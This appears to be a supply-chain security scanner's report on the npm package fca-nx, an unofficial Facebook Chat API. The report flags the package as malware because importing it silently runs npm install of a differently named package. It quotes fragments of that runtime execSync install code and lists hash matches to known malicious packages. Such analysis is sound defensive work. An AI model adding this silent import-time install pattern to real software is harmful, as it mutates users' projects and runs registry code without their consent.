registry / Remote code execution / fca-nx

fca-nx

Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.

Unofficial Facebook Chat API for Node.js with Auto-Update System - Enhanced by : xalman

This report shows the evidence for fca-nx@1.8.0. 6 of 19 known versions are blocked or flagged. The newest version, 6.7.3, is allowed. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The package deliberately performs an unconsented, silent import-time installation of a differently named registry package in the consumer project. This is a concrete supply-chain execution and project-mutation chain.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review

Trigger

Import or require of index.js

Impact

Unconsented dependency/project mutation and remote package-code execution.

Mechanism

silent import-time npm installation of nx-fca

Attack narrative

On import, index.js schedules a silent updater. The updater checks nx-fca rather than the installed fca-nx package, then runs npm install nx-fca@<latest> --save in the caller’s working directory. This changes the consumer dependency tree and permits lifecycle execution from a registry-selected package without an explicit user update command.

AI rationale

Evidence

index.jscheckUpdate.jspackage.jsonnode_modules/nx-fca/package.json

Network endpoints1

registry.npmjs.org/nx-fca/latest

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

Importing index.js silently schedules an update check.
The updater targets nx-fca, not this package’s fca-nx name.
It installs the registry-selected nx-fca version with npm in the consumer project.

Evidence against

package.json has no npm lifecycle hook.
No source-confirmed credential exfiltration was found outside the package’s Facebook API functions.

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEvalFilesystemNetworkWebSocket

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 96 file(s), 577 KB of source, external domains: 127.0.0.1, accountscenter.facebook.com, api.findids.net, api.imgbb.com, b-graph.facebook.com, business.facebook.com, facebook.com, github.com, graph.facebook.com, id.traodoisub.com, m.facebook.com, registry.npmjs.org, static.xx.fbcdn.net, upload.facebook.com, upload.imagekit.io, www.facebook.com, www.messenger.com

Source & flagged code

8 flagged

checkUpdate.jsView file

1const axios = require('axios'); L2: const { execSync } = require('child_process'); L3: const fs = require('fs');

High

Child Process

Package source references child process execution.

checkUpdate.jsView on unpkg · L1

65try { L66: execSync(`npm install ${CONFIG.pkgName}@${version} --save`, { L67: cwd: process.cwd(),

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

checkUpdate.jsView on unpkg · L65

•matchType = normalized_sha256 matchedPackage = fca-nx@1.5.0 matchedPath = checkUpdate.js matchedIdentity = npm:ZmNhLW54:1.5.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

checkUpdate.jsView on unpkg

e2eebot.jsView file

12L13: const fs = require('fs'); L14: const path = require('path');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

e2eebot.jsView on unpkg · L12

19async function importESM(specifier) { L20: const dynamicImport = new Function('specifier', 'return import(specifier)'); L21: return dynamicImport(specifier);

Low

Eval

Package source references a known benign dynamic code generation pattern.

e2eebot.jsView on unpkg · L19

build/messagix.soView file

•path = build/messagix.so kind = native_binary sizeBytes = 17504872 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

build/messagix.soView on unpkg

index.jsView file

•matchType = normalized_sha256 matchedPackage = fca-nx@1.5.0 matchedPath = index.js matchedIdentity = npm:ZmNhLW54:1.5.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

src/getAccess.jsView file

•matchType = normalized_sha256 matchedPackage = @rxabdullah/xdi-fca@1.6.2 matchedPath = src/getAccess.js matchedIdentity = npm:QHJ4YWJkdWxsYWgveGRpLWZjYQ:1.6.2 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/getAccess.jsView on unpkg

Source & flagged code

8 flagged · loading source

checkUpdate.jsView file

1const axios = require('axios'); L2: const { execSync } = require('child_process'); L3: const fs = require('fs');

High

Child Process

Package source references child process execution.

checkUpdate.jsView on unpkg · L1

65try { L66: execSync(`npm install ${CONFIG.pkgName}@${version} --save`, { L67: cwd: process.cwd(),

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

checkUpdate.jsView on unpkg · L65

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

checkUpdate.jsView on unpkg

e2eebot.jsView file

Findings

5 High4 Medium5 Low

HighChild ProcesscheckUpdate.js

HighRuntime Package InstallcheckUpdate.js

HighKnown Malware Source SimilaritycheckUpdate.js

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Similaritysrc/getAccess.js

MediumDynamic Requiree2eebot.js

MediumNetwork

MediumShips Native Binarybuild/messagix.so

MediumStructural Risk Force Deep Review

LowScripts Present

LowEvale2eebot.js

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to fca-nx@1.8.0.

The versions list below shows the verdict for each recorded version.

Avoid installing fca-nx@1.8.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-22 06:36:26.910Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

19 known versions

6.7.3latestClean—AllowPublishedSep 24, 2026, 1:57 AM 6.7.2SuspiciousCredential ExfiltrationWarnPublishedSep 22, 2026, 6:27 AM 6.7.1SuspiciousCredential ExfiltrationWarnPublishedSep 20, 2026, 8:53 AM 6.7.0Clean—AllowPublishedSep 15, 2026, 12:11 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Runtime surface

Behavioral surface

Related packages

Other remote code execution packages

Source & flagged code